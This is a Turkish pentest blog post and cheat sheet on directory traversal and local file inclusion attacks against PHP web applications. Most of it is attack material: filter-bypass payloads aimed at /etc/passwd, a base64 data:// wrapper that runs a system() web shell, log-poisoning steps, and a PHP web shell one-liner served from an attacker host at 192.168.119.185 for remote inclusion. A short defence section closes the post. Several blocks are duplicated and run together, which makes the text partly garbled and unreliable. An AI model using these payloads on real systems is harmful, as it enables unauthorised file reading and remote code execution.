July 4, 2026
Dosya Sistemine Sızış: Directory Traversal ve LFI Zafiyetlerinin Anatomisi
Bir sızma testi uzmanı olarak, hedef web uygulamasında dosya okuma veya dahil etme yeteneği kazanmak, çoğu zaman sistemin tamamen ele…

By bovsec
2 min read
Bir sızma testi uzmanı olarak, hedef web uygulamasında dosya okuma veya dahil etme yeteneği kazanmak, çoğu zaman sistemin tamamen ele geçirilmesiyle (RCE) sonuçlanan yolun başlangıcıdır. Bu yazıda, birbirine çok benzeyen ancak kritik farkları olan Directory Traversal ve LFI zafiyetlerini aynı potada eriteceğiz.
1. Temel Kavramlar: Farkları Nelerdir?
- Directory Traversal: Web uygulamasını çalıştıran sunucudaki rastgele dosyaların (kimlik bilgileri, hassas işletim sistemi dosyaları vb.) okunmasına olanak tanıyan bir açıktır. Odak noktası, dizin yapısında geriye giderek (../) yetkisiz dosyalara erişmektir.
- Local File Inclusion (LFI): Uygulamanın, kullanıcıdan aldığı girdiyi doğrulamadan yerel bir dosyayı koda dahil etmesiyle oluşur. LFI'ın en tehlikeli yanı, sadece dosya okumakla kalmayıp, dahil edilen dosya içindeki kodun (örneğin PHP) sunucu tarafında çalıştırılmasına izin vermesidir.
2. Kritik Endpoint ve Parametre Keşfi
Saldırı yüzeyini belirlemek için uygulamada dosya yolu veya isim kabul eden parametreleri bulmalıyız. Özellikle şu parametreler incelenmelidir:
?page=,?language=,?file=,?doc=,?path=,?template=.
Fuzzing İpucu: Gizli parametreleri ve zafiyetli yolları bulmak için ffuf gibi araçlarla LFI-Jhaddix.txt gibi wordlist'ler kullanılarak tarama yapılabilir.
ayrıca zafiyetli bazı endpointler ;
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}3. Sömürü Teknikleri ve Bypass Yöntemleri
Geliştiriciler genellikle basit filtreler (örneğin ../ dizisini silme) uygularlar. Ancak bir uzman olarak bu engelleri aşmak için şu yöntemleri kullanırız:
- Temel Traversal:
../../../../etc/passwd. - Filtre Atlatma (Double Slash): Eğer uygulama ../ dizisini siliyorsa, ....//....// kullanarak filtreden sonra geriye geçerli bir ../ kalmasını sağlayabilirsiniz.
- URL Encoding: Filtreleri aşmak için karakterleri encode edebilirsiniz. Örneğin ../ yerine
%2e%2e%2fkullanmak. - Null Byte (%00) Bypass: Uygulama dosya isminin sonuna zorunlu bir uzantı (örn:
.php) ekliyorsa,%00karakterini kullanarak sunucunun okumayı orada kesmesini sağlayabilir ve istediğiniz dosyayı (örn:etc/passwd%00) okuyabilirsiniz. - PHP Wrappers (Gizli Silahlar):
- Base64 ile Kaynak Kod Okuma:
php://filter/read=convert.base64-encode/resource=configkomutuyla PHP dosyalarını çalıştırılmadan Base64 formatında okuyabilirsiniz. - Doğrudan Kod Çalıştırma:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=idile doğrudan sistem komutu çalıştırabilirsiniz.
4. Senaryo: LFI'dan RCE'ye (Log Poisoning)
Sadece dosya okuyabildiğiniz bir LFI zafiyetini tam yetkili bir shell'e dönüştürebilirsiniz:
- Log Dosyasına Kod Enjekte Etme: SSH ile giriş yaparken kullanıcı adı yerine
<?php system($_GET['cmd']); ?>yazarak veya HTTP isteklerindeki User-Agent başlığına bu kodu ekleyerek sunucu loglarına (örn:/var/log/apache2/access.log) zararlı kodunuzu yazdırın. - Log Dosyasını Dahil Etme: LFI açığını kullanarak bu log dosyasını çağırın:
index.php?language=/var/log/apache2/access.log&cmd=id. Artık log içindeki PHP kodunuz sunucuda çalışacaktır!
5. Sömürü Araçları
Bu süreçte işinizi kolaylaştıracak bazı araçlar:
- LFI Suite, Fimap, Liffy, FDsploit ve LFİ SCANNER.
6. Savunma ve Raporlama Önerileri
Test ettiğiniz sistemler için şu önerileri sunmalısınız:
- Kullanıcı girdilerini asla doğrudan
include()veyarequire()fonksiyonlarına göndermeyin. - Dosya yollarını doğrulamak için bir Filesystem Allowlist oluşturun.
php.inidosyasındaallow_url_includeveallow_url_fopenseçenekleriniOffkonumuna getirin.
— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —
../../../etc/passwd
....//....//....//etc/passwd
..././..././etc/passwd
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter../../../etc/passwd
....//....//....//etc/passwd
..././..././etc/passwd
http://example.com/index.php?page=../../../etc/passwd
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
http://example.com/index.php?page=../../../etc/passwd%00
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filterdiyelim ki sistem e ../../../etc/passwd girdin ve file doesnt exist hatası aldın burda yapman gereken diğer bypassleri denemek
null byte dene %00 \0 AA== %2500
örnek= ../../../etc/passwd%00 hala geçmediyse diğer lerini dene
ve you not permission aldıysan burp ile yakalayıp bak
echo '<?php system($_GET['cmd']); ?>' > evil.txt
python3 -m http.server 80
10.11.1.35/section.php?page=http://192.168.119.185/evil.txt&cmd=command
File Upload vuln= https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/echo '<?php system($_GET['cmd']); ?>' > evil.txt
python3 -m http.server 80
10.11.1.35/section.php?page=http://192.168.119.185/evil.txt&cmd=command
File Upload vuln= https://gobiasinfosec.blog/2019/12/24/file-upload-attacks-php-reverse-shell/Bu içerik LFI-RCE-Cheat-Sheet ve HackTheBox File Inclusion rehberleri temel alınarak, sızma testi pratiklerine uygun şekilde hazırlanmıştır.
bovse©